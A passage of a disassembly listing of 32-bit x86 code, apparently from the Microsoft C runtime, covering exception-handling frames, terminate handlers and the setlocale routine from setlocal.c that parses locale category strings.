mov ecx, [eax]
and ecx, 8
test ecx, ecx
jz short loc_42A866
push 1
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call loc_4306F0
add esp, 8
test eax, eax
jz short loc_42A85C
push 1
mov ecx, [ebp+var_1C]
push ecx
call loc_430720
add esp, 8
test eax, eax
jz short loc_42A85C
mov edx, [ebp+var_1C]
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
mov [edx], ecx
mov edx, [ebp+arg_C]
add edx, 8
push edx
mov eax, [ebp+var_1C]
mov ecx, [eax]
push ecx
call sub_42AAB0
add esp, 8
mov edx, [ebp+var_1C]
mov [edx], eax
jmp short loc_42A861
; ---------------------------------------------------------------------------
loc_42A85C: ; CODE XREF: sub_42A7A0+81j
; sub_42A7A0+93j
call sub_42AC00
loc_42A861: ; CODE XREF: sub_42A7A0+BAj
jmp loc_42A9F3
; ---------------------------------------------------------------------------
loc_42A866: ; CODE XREF: sub_42A7A0+6Cj
mov eax, [ebp+arg_C]
mov ecx, [eax]
and ecx, 1
test ecx, ecx
jz short loc_42A8EA
push 1
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call loc_4306F0
add esp, 8
test eax, eax
jz short loc_42A8E0
push 1
mov ecx, [ebp+var_1C]
push ecx
call loc_430720
add esp, 8
test eax, eax
jz short loc_42A8E0
mov edx, [ebp+arg_C]
mov eax, [edx+14h]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_1C]
push eax
call sub_41F9A0
add esp, 0Ch
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx+14h], 4
jnz short loc_42A8DE
mov edx, [ebp+var_1C]
cmp dword ptr [edx], 0
jz short loc_42A8DE
mov eax, [ebp+arg_C]
add eax, 8
push eax
mov ecx, [ebp+var_1C]
mov edx, [ecx]
push edx
call sub_42AAB0
add esp, 8
mov ecx, [ebp+var_1C]
mov [ecx], eax
loc_42A8DE: ; CODE XREF: sub_42A7A0+11Aj
; sub_42A7A0+122j
jmp short loc_42A8E5
; ---------------------------------------------------------------------------
loc_42A8E0: ; CODE XREF: sub_42A7A0+E5j
; sub_42A7A0+F7j
call sub_42AC00
loc_42A8E5: ; CODE XREF: sub_42A7A0:loc_42A8DEj
jmp loc_42A9F3
; ---------------------------------------------------------------------------
loc_42A8EA: ; CODE XREF: sub_42A7A0+D0j
mov edx, [ebp+arg_C]
cmp dword ptr [edx+18h], 0
jnz short loc_42A950
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
push ecx
call loc_4306F0
add esp, 8
test eax, eax
jz short loc_42A946
push 1
mov edx, [ebp+var_1C]
push edx
call loc_430720
add esp, 8
test eax, eax
jz short loc_42A946
mov eax, [ebp+arg_C]
mov ecx, [eax+14h]
push ecx
mov edx, [ebp+arg_C]
add edx, 8
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
push ecx
call sub_42AAB0
add esp, 8
push eax
mov edx, [ebp+var_1C]
push edx
call sub_41F9A0
add esp, 0Ch
jmp short loc_42A94B
; ---------------------------------------------------------------------------
loc_42A946: ; CODE XREF: sub_42A7A0+166j
; sub_42A7A0+178j
call sub_42AC00
loc_42A94B: ; CODE XREF: sub_42A7A0+1A4j
jmp loc_42A9F3
; ---------------------------------------------------------------------------
loc_42A950: ; CODE XREF: sub_42A7A0+151j
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
push ecx
call loc_4306F0
add esp, 8
test eax, eax
jz loc_42A9EE
push 1
mov edx, [ebp+var_1C]
push edx
call loc_430720
add esp, 8
test eax, eax
jz short loc_42A9EE
mov eax, [ebp+arg_C]
mov ecx, [eax+18h]
push ecx
call loc_430750
add esp, 4
test eax, eax
jz short loc_42A9EE
mov edx, [ebp+arg_C]
mov eax, [edx]
and eax, 4
test eax, eax
jz short loc_42A9C5
push 1
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_42AAB0
add esp, 8
push eax
mov ecx, [ebp+arg_C]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_1C]
push eax
call sub_41F510
jmp short loc_42A9EC
; ---------------------------------------------------------------------------
loc_42A9C5: ; CODE XREF: sub_42A7A0+1F8j
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_42AAB0
add esp, 8
push eax
mov ecx, [ebp+arg_C]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_1C]
push eax
call sub_41F500
loc_42A9EC: ; CODE XREF: sub_42A7A0+223j
jmp short loc_42A9F3
; ---------------------------------------------------------------------------
loc_42A9EE: ; CODE XREF: sub_42A7A0+1C3j
; sub_42A7A0+1D9j ...
call sub_42AC00
loc_42A9F3: ; CODE XREF: sub_42A7A0:loc_42A861j
; sub_42A7A0:loc_42A8E5j ...
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42AA0A
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
call sub_42AB50
loc_42AA0A: ; CODE XREF: sub_42A7A0:loc_42A7E6j
; sub_42A7A0+25Aj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42A7A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AA20 proc near ; CODE XREF: sub_429F90+252p
; sub_42A6DD+55p
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43A1F8
push offset sub_42CA04
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp [ebp+arg_0], 0
jz short loc_42AA95
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp dword ptr [ecx+4], 0
jz short loc_42AA95
mov [ebp+var_4], 0
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+4]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_41F4F0
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42AA95
; ---------------------------------------------------------------------------
mov eax, [ebp+arg_4]
and eax, 0FFh
neg eax
sbb eax, eax
neg eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
call sub_42AB50
loc_42AA95: ; CODE XREF: sub_42AA20+2Aj
; sub_42AA20+36j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42AA20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AAB0 proc near ; CODE XREF: sub_42A7A0+ADp
; sub_42A7A0+131p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_0]
add ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
cmp dword ptr [edx+4], 0
jl short loc_42AAEF
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
mov ecx, [ebp+var_4]
add ecx, [eax+edx]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, [edx+4]
mov [ebp+var_4], eax
loc_42AAEF: ; CODE XREF: sub_42AAB0+16j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42AAB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AB00 proc near ; CODE XREF: sub_41F5F0+4Dp
; sub_42A410+8Bp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41F95D
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_42AB3F
mov ecx, 2
loc_42AB3F: ; CODE XREF: sub_42AB00+38j
push ecx
call sub_41F95D
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_42AB00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AB50 proc near ; CODE XREF: sub_429F90:loc_42A223p
; sub_42A510:loc_42A531p ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042ABC4 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43A208
push offset sub_42CA04
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov [ebp+var_4], 0
call sub_425C30
cmp dword ptr [eax+60h], 0
jz short loc_42ABB0
mov [ebp+var_4], 1
call sub_425C30
call dword ptr [eax+60h]
mov [ebp+var_4], 0
jmp short loc_42ABB0
; ---------------------------------------------------------------------------
loc_42ABA0: ; DATA XREF: seg001:0043A218o
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_42ABA6: ; DATA XREF: seg001:0043A21Co
mov esp, [ebp+var_18]
mov [ebp+var_4], 0
loc_42ABB0: ; CODE XREF: sub_42AB50+36j
; sub_42AB50+4Ej
mov [ebp+var_4], 0FFFFFFFFh
call sub_42ABBE
jmp short loc_42ABC4
sub_42AB50 endp
; =============== S U B R O U T I N E =======================================
sub_42ABBE proc near ; CODE XREF: sub_42AB50+67p
; DATA XREF: seg001:0043A210o
call sub_430780
retn
sub_42ABBE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AB50
loc_42ABC4: ; CODE XREF: sub_42AB50+6Cj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_42AB50
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_425C30
cmp dword ptr [eax+64h], 0
jz short loc_42ABF6
call sub_425C30
call dword ptr [eax+64h]
loc_42ABF6: ; CODE XREF: seg000:0042ABECj
call sub_42AB50
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AC00 proc near ; CODE XREF: sub_41F800+23p
; sub_41F800:loc_41F86Dp ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042AC70 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43A220
push offset sub_42CA04
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov [ebp+var_4], 0
cmp ds:off_450420, 0
jz short loc_42AC5C
mov [ebp+var_4], 1
call ds:off_450420
mov [ebp+var_4], 0
jmp short loc_42AC5C
; ---------------------------------------------------------------------------
loc_42AC4C: ; DATA XREF: seg001:0043A230o
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_42AC52: ; DATA XREF: seg001:0043A234o
mov esp, [ebp+var_18]
mov [ebp+var_4], 0
loc_42AC5C: ; CODE XREF: sub_42AC00+34j
; sub_42AC00+4Aj
mov [ebp+var_4], 0FFFFFFFFh
call sub_42AC6A
jmp short loc_42AC70
sub_42AC00 endp
; =============== S U B R O U T I N E =======================================
sub_42AC6A proc near ; CODE XREF: sub_42AC00+63p
; DATA XREF: seg001:0043A228o
call sub_42AB50
retn
sub_42AC6A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AC00
loc_42AC70: ; CODE XREF: sub_42AC00+68j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_42AC00
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 0B0h
cmp dword ptr [ebp+8], 0
jl short loc_42ACA5
cmp dword ptr [ebp+8], 5
jle short loc_42ACAC
loc_42ACA5: ; CODE XREF: seg000:0042AC9Dj
xor eax, eax
jmp loc_42B07B
; ---------------------------------------------------------------------------
loc_42ACAC: ; CODE XREF: seg000:0042ACA3j
push 13h
call sub_421A80
add esp, 4
mov dword ptr [ebp-4], 1
mov eax, ds:dword_4EED10
add eax, 1
mov ds:dword_4EED10, eax
loc_42ACCA: ; CODE XREF: seg000:0042ACDBj
cmp ds:dword_4EED14, 0
jz short loc_42ACDD
push 1
call ds:dword_4F12F4 ; Sleep
jmp short loc_42ACCA
; ---------------------------------------------------------------------------
loc_42ACDD: ; CODE XREF: seg000:0042ACD1j
cmp dword ptr [ebp+8], 0
jz short loc_42AD21
cmp dword ptr [ebp+0Ch], 0
jz short loc_42AD01
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_42B080
add esp, 8
mov [ebp-0A8h], eax
jmp short loc_42AD13
; ---------------------------------------------------------------------------
loc_42AD01: ; CODE XREF: seg000:0042ACE7j
mov eax, [ebp+8]
imul eax, 0Ch
mov ecx, ds:dword_450534[eax]
mov [ebp-0A8h], ecx
loc_42AD13: ; CODE XREF: seg000:0042ACFFj
mov edx, [ebp-0A8h]
mov [ebp-8], edx
jmp loc_42B05B
; ---------------------------------------------------------------------------
loc_42AD21: ; CODE XREF: seg000:0042ACE1j
mov dword ptr [ebp-14h], 1
mov dword ptr [ebp-0Ch], 0
cmp dword ptr [ebp+0Ch], 0
jz loc_42B053
mov eax, [ebp+0Ch]
movsx ecx, byte ptr [eax]
cmp ecx, 4Ch
jnz loc_42AF64
mov edx, [ebp+0Ch]
movsx eax, byte ptr [edx+1]
cmp eax, 43h
jnz loc_42AF64
mov ecx, [ebp+0Ch]
movsx edx, byte ptr [ecx+2]
cmp edx, 5Fh
jnz loc_42AF64
mov eax, [ebp+0Ch]
mov [ebp-9Ch], eax
loc_42AD71: ; CODE XREF: seg000:0042AF33j
push offset asc_43A27C ; "=;"
mov ecx, [ebp-9Ch]
push ecx
call sub_431CA0
add esp, 8
mov [ebp-0A0h], eax
cmp dword ptr [ebp-0A0h], 0
jz short loc_42ADBD
mov edx, [ebp-0A0h]
sub edx, [ebp-9Ch]
mov [ebp-0A4h], edx
cmp dword ptr [ebp-0A4h], 0
jz short loc_42ADBD
mov eax, [ebp-0A0h]
movsx ecx, byte ptr [eax]
cmp ecx, 3Bh
jnz short loc_42ADE3
loc_42ADBD: ; CODE XREF: seg000:0042AD92j
; seg000:0042ADADj
cmp dword ptr [ebp-4], 0
jz short loc_42ADDC
push 13h
call sub_421B20
add esp, 4
mov edx, ds:dword_4EED10
sub edx, 1
mov ds:dword_4EED10, edx
loc_42ADDC: ; CODE XREF: seg000:0042ADC1j
xor eax, eax
jmp loc_42B07B
; ---------------------------------------------------------------------------
loc_42ADE3: ; CODE XREF: seg000:0042ADBBj
mov dword ptr [ebp-10h], 1
jmp short loc_42ADF5
; ---------------------------------------------------------------------------
loc_42ADEC: ; CODE XREF: seg000:loc_42AE41j
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
loc_42ADF5: ; CODE XREF: seg000:0042ADEAj
cmp dword ptr [ebp-10h], 5
jg short loc_42AE43
mov ecx, [ebp-0A4h]
push ecx
mov edx, [ebp-9Ch]
push edx
mov eax, [ebp-10h]
imul eax, 0Ch
mov ecx, ds:off_450530[eax]
push ecx
call sub_41E510
add esp, 0Ch
test eax, eax
jnz short loc_42AE41
mov edx, [ebp-10h]
imul edx, 0Ch
mov eax, ds:off_450530[edx]
push eax
call sub_41AC70
add esp, 4
cmp [ebp-0A4h], eax
jnz short loc_42AE41
jmp short loc_42AE43
; ---------------------------------------------------------------------------
loc_42AE41: ; CODE XREF: seg000:0042AE20j
; seg000:0042AE3Dj
jmp short loc_42ADEC
; ---------------------------------------------------------------------------
loc_42AE43: ; CODE XREF: seg000:0042ADF9j
; seg000:0042AE3Fj
push offset asc_43A278 ; ";"
mov ecx, [ebp-0A0h]
add ecx, 1
mov [ebp-0A0h], ecx
mov edx, [ebp-0A0h]
push edx
call sub_431C60
add esp, 8
mov [ebp-0A4h], eax
cmp dword ptr [ebp-0A4h], 0
jnz short loc_42AEA9
mov eax, [ebp-0A0h]
movsx ecx, byte ptr [eax]
cmp ecx, 3Bh
jz short loc_42AEA9
cmp dword ptr [ebp-4], 0
jz short loc_42AEA2
push 13h
call sub_421B20
add esp, 4
mov edx, ds:dword_4EED10
sub edx, 1
mov ds:dword_4EED10, edx
loc_42AEA2: ; CODE XREF: seg000:0042AE87j
xor eax, eax
jmp loc_42B07B
; ---------------------------------------------------------------------------
loc_42AEA9: ; CODE XREF: seg000:0042AE73j
; seg000:0042AE81j
cmp dword ptr [ebp-10h], 5
jg short loc_42AEFA
mov eax, [ebp-0A4h]
push eax
mov ecx, [ebp-0A0h]
push ecx
lea edx, [ebp-98h]
push edx
call sub_41D800
add esp, 0Ch
mov eax, [ebp-0A4h]
mov byte ptr [ebp+eax-98h], 0
lea ecx, [ebp-98h]
push ecx
mov edx, [ebp-10h]
push edx
call sub_42B080
add esp, 8
test eax, eax
jz short loc_42AEFA
mov eax, [ebp-0Ch]
add eax, 1
mov [ebp-0Ch], eax
loc_42AEFA: ; CODE XREF: seg000:0042AEADj
; seg000:0042AEEFj
mov ecx, [ebp-0A0h]
add ecx, [ebp-0A4h]
mov [ebp-9Ch], ecx
mov edx, [ebp-9Ch]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42AF28
mov ecx, [ebp-9Ch]
add ecx, 1
mov [ebp-9Ch], ecx
loc_42AF28: ; CODE XREF: seg000:0042AF17j
mov edx, [ebp-9Ch]
movsx eax, byte ptr [edx]
test eax, eax
jnz loc_42AD71
cmp dword ptr [ebp-0Ch], 0
jz short loc_42AF4C
call sub_42B220
mov [ebp-0ACh], eax
jmp short loc_42AF56
; ---------------------------------------------------------------------------
loc_42AF4C: ; CODE XREF: seg000:0042AF3Dj
mov dword ptr [ebp-0ACh], 0
loc_42AF56: ; CODE XREF: seg000:0042AF4Aj
mov ecx, [ebp-0ACh]
mov [ebp-8], ecx
jmp loc_42B051
; ---------------------------------------------------------------------------
loc_42AF64: ; CODE XREF: seg000:0042AD42j
; seg000:0042AD52j ...
mov edx, [ebp+8]
push edx
push 0
push 0
lea eax, [ebp-98h]
push eax
mov ecx, [ebp+0Ch]
push ecx
call sub_42B320
add esp, 14h
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0
jz loc_42B051
mov dword ptr [ebp-10h], 0
jmp short loc_42AF9E
; ---------------------------------------------------------------------------
loc_42AF95: ; CODE XREF: seg000:loc_42AFFEj
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_42AF9E: ; CODE XREF: seg000:0042AF93j
cmp dword ptr [ebp-10h], 5
jg short loc_42B000
cmp dword ptr [ebp-10h], 0
jz short loc_42AFFE
mov eax, [ebp-10h]
imul eax, 0Ch
mov ecx, ds:dword_450534[eax]
push ecx
lea edx, [ebp-98h]
push edx
call sub_41D900
add esp, 8
test eax, eax
jz short loc_42AFF5
lea eax, [ebp-98h]
push eax
mov ecx, [ebp-10h]
push ecx
call sub_42B080
add esp, 8
test eax, eax
jz short loc_42AFEC
mov edx, [ebp-0Ch]
add edx, 1
mov [ebp-0Ch], edx
jmp short loc_42AFF3
; ---------------------------------------------------------------------------
loc_42AFEC: ; CODE XREF: seg000:0042AFDFj
mov dword ptr [ebp-14h], 0
loc_42AFF3: ; CODE XREF: seg000:0042AFEAj
jmp short loc_42AFFE
; ---------------------------------------------------------------------------
loc_42AFF5: ; CODE XREF: seg000:0042AFC8j
mov eax, [ebp-0Ch]
add eax, 1
mov [ebp-0Ch], eax
loc_42AFFE: ; CODE XREF: seg000:0042AFA8j
; seg000:loc_42AFF3j
jmp short loc_42AF95
; ---------------------------------------------------------------------------
loc_42B000: ; CODE XREF: seg000:0042AFA2j
cmp dword ptr [ebp-14h], 0
jz short loc_42B02B
call sub_42B220
mov [ebp-8], eax
push 2
mov ecx, ds:dword_450534
push ecx
call sub_41B8F0
add esp, 8
mov ds:dword_450534, 0
jmp short loc_42B051
; ---------------------------------------------------------------------------
loc_42B02B: ; CODE XREF: seg000:0042B004j
cmp dword ptr [ebp-0Ch], 0
jz short loc_42B03E
call sub_42B220
mov [ebp-0B0h], eax
jmp short loc_42B048
; ---------------------------------------------------------------------------
loc_42B03E: ; CODE XREF: seg000:0042B02Fj
mov dword ptr [ebp-0B0h], 0
loc_42B048: ; CODE XREF: seg000:0042B03Cj
mov edx, [ebp-0B0h]
mov [ebp-8], edx
loc_42B051: ; CODE XREF: seg000:0042AF5Fj
; seg000:0042AF86j ...
jmp short loc_42B05B
; ---------------------------------------------------------------------------
loc_42B053: ; CODE XREF: seg000:0042AD33j
call sub_42B220
mov [ebp-8], eax
loc_42B05B: ; CODE XREF: seg000:0042AD1Cj
; seg000:loc_42B051j
cmp dword ptr [ebp-4], 0
jz short loc_42B078
push 13h
call sub_421B20
add esp, 4
mov eax, ds:dword_4EED10
sub eax, 1
mov ds:dword_4EED10, eax
loc_42B078: ; CODE XREF: seg000:0042B05Fj
mov eax, [ebp-8]
loc_42B07B: ; CODE XREF: seg000:0042ACA7j
; seg000:0042ADDEj ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B080 proc near ; CODE XREF: seg000:0042ACF1p
; seg000:0042AEE5p ...
var_A8 = dword ptr -0A8h
var_A0 = dword ptr -0A0h
var_9C = byte ptr -9Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0A8h
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_A0]
push ecx
lea edx, [ebp+var_A8]
push edx
lea eax, [ebp+var_9C]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_42B320
add esp, 14h
test eax, eax
jnz short loc_42B0B9
xor eax, eax
jmp loc_42B20F
; ---------------------------------------------------------------------------
loc_42B0B9: ; CODE XREF: sub_42B080+30j
push 132h
push offset aSetlocal_c ; "setlocal.c"
push 2
lea edx, [ebp+var_9C]
push edx
call sub_41AC70
add esp, 4
add eax, 1
push eax
call sub_41AE60
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_42B0F0
xor eax, eax
jmp loc_42B20F
; ---------------------------------------------------------------------------
loc_42B0F0: ; CODE XREF: sub_42B080+67j
mov eax, [ebp+arg_0]
imul eax, 0Ch
mov ecx, ds:dword_450534[eax]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
mov eax, ds:dword_4EEA68[edx*4]
mov [ebp+var_4], eax
push 6
mov ecx, [ebp+arg_0]
imul ecx, 6
add ecx, offset dword_4EEC9C
push ecx
lea edx, [ebp+var_14]
push edx
call sub_41E840
add esp, 0Ch
mov eax, ds:dword_4EEA80
mov [ebp+var_18], eax
lea ecx, [ebp+var_9C]
push ecx
mov edx, [ebp+var_8]
push edx
call sub_41E550
add esp, 8
mov ecx, [ebp+arg_0]
imul ecx, 0Ch
mov ds:dword_450534[ecx], eax
mov edx, [ebp+var_A8]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov ds:dword_4EEA68[eax*4], edx
push 6
lea ecx, [ebp+var_A8]
push ecx
mov edx, [ebp+arg_0]
imul edx, 6
add edx, offset dword_4EEC9C
push edx
call sub_41E840
add esp, 0Ch
cmp [ebp+arg_0], 2
jnz short loc_42B193
mov eax, [ebp+var_A0]
mov ds:dword_4EEA80, eax
loc_42B193: ; CODE XREF: sub_42B080+106j
cmp [ebp+arg_0], 1
jnz short loc_42B1A5
mov ecx, [ebp+var_A0]
mov ds:dword_4EEA84, ecx
loc_42B1A5: ; CODE XREF: sub_42B080+117j
mov edx, [ebp+arg_0]
imul edx, 0Ch
call ds:off_450538[edx]
test eax, eax
jz short loc_42B1EC
mov eax, [ebp+arg_0]
imul eax, 0Ch
mov ecx, [ebp+var_C]
mov ds:dword_450534[eax], ecx
push 2
mov edx, [ebp+var_8]
push edx
call sub_41B8F0
add esp, 8
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov ds:dword_4EEA68[eax*4], ecx
mov edx, [ebp+var_18]
mov ds:dword_4EEA80, edx
xor eax, eax
jmp short loc_42B20F
; ---------------------------------------------------------------------------
loc_42B1EC: ; CODE XREF: sub_42B080+133j
cmp [ebp+var_C], offset dword_450424
jz short loc_42B203
push 2
mov eax, [ebp+var_C]
push eax
call sub_41B8F0
add esp, 8
loc_42B203: ; CODE XREF: sub_42B080+173j
mov ecx, [ebp+arg_0]
imul ecx, 0Ch
mov eax, ds:dword_450534[ecx]
loc_42B20F: ; CODE XREF: sub_42B080+34j
; sub_42B080+6Bj ...
mov esp, ebp
pop ebp
retn
sub_42B080 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B220 proc near ; CODE XREF: seg000:0042AF3Fp
; seg000:0042B006p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 1
cmp ds:dword_450534, 0
jnz short loc_42B254
push 167h
push offset aSetlocal_c ; "setlocal.c"
push 2
push 351h
call sub_41AE60
add esp, 10h
mov ds:dword_450534, eax
loc_42B254: ; CODE XREF: sub_42B220+14j
mov eax, ds:dword_450534
mov byte ptr [eax], 0
mov [ebp+var_4], 1
jmp short loc_42B26E
; ---------------------------------------------------------------------------
loc_42B265: ; CODE XREF: sub_42B220:loc_42B317j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42B26E: ; CODE XREF: sub_42B220+43j
mov edx, [ebp+var_4]
imul edx, 0Ch
mov eax, ds:dword_450534[edx]
push eax
push offset asc_43A28C ; "="
mov ecx, [ebp+var_4]
imul ecx, 0Ch
mov edx, ds:off_450530[ecx]
push edx
push 3
mov eax, ds:dword_450534
push eax
call sub_42B4C0
add esp, 14h
cmp [ebp+var_4], 5
jge short loc_42B2E9
push offset asc_43A278 ; ";"
mov ecx, ds:dword_450534
push ecx
call sub_41E560
add esp, 8
mov edx, [ebp+var_4]
add edx, 1
imul edx, 0Ch
mov eax, ds:dword_450534[edx]
push eax
mov ecx, [ebp+var_4]
imul ecx, 0Ch
mov edx, ds:dword_450534[ecx]
push edx
call sub_41D900
add esp, 8
test eax, eax
jz short loc_42B2E7
mov [ebp+var_8], 0
loc_42B2E7: ; CODE XREF: sub_42B220+BEj
jmp short loc_42B317
; ---------------------------------------------------------------------------
loc_42B2E9: ; CODE XREF: sub_42B220+81j
cmp [ebp+var_8], 0
jnz short loc_42B2F6
mov eax, ds:dword_450534
jmp short loc_42B31C
; ---------------------------------------------------------------------------
loc_42B2F6: ; CODE XREF: sub_42B220+CDj
push 2
mov eax, ds:dword_450534
push eax
call sub_41B8F0
add esp, 8
mov ds:dword_450534, 0
mov eax, ds:off_45054C
jmp short loc_42B31C
; ---------------------------------------------------------------------------
loc_42B317: ; CODE XREF: sub_42B220:loc_42B2E7j
jmp loc_42B265
; ---------------------------------------------------------------------------
loc_42B31C: ; CODE XREF: sub_42B220+D4j
; sub_42B220+F5j
mov esp, ebp
pop ebp
retn
sub_42B220 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B320 proc near ; CODE XREF: seg000:0042AF77p
; sub_42B080+26p
var_88 = byte ptr -88h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 88h
cmp [ebp+arg_0], 0
jnz short loc_42B336
xor eax, eax
jmp loc_42B4A0
; ---------------------------------------------------------------------------
loc_42B336: ; CODE XREF: sub_42B320+Dj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
cmp ecx, 43h
jnz short loc_42B390
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx+1]
test eax, eax
jnz short loc_42B390
mov ecx, [ebp+arg_4]
mov byte ptr [ecx], 43h
mov edx, [ebp+arg_4]
mov byte ptr [edx+1], 0
cmp [ebp+arg_8], 0
jz short loc_42B379
mov eax, [ebp+arg_8]
mov word ptr [eax], 0
mov ecx, [ebp+arg_8]
mov word ptr [ecx+2], 0
mov edx, [ebp+arg_8]
mov word ptr [edx+4], 0
loc_42B379: ; CODE XREF: sub_42B320+3Dj
cmp [ebp+arg_C], 0
jz short loc_42B388
mov eax, [ebp+arg_C]
mov dword ptr [eax], 0
loc_42B388: ; CODE XREF: sub_42B320+5Dj
mov eax, [ebp+arg_4]
jmp loc_42B4A0
; ---------------------------------------------------------------------------
loc_42B390: ; CODE XREF: sub_42B320+1Fj
; sub_42B320+2Aj
mov ecx, [ebp+arg_0]
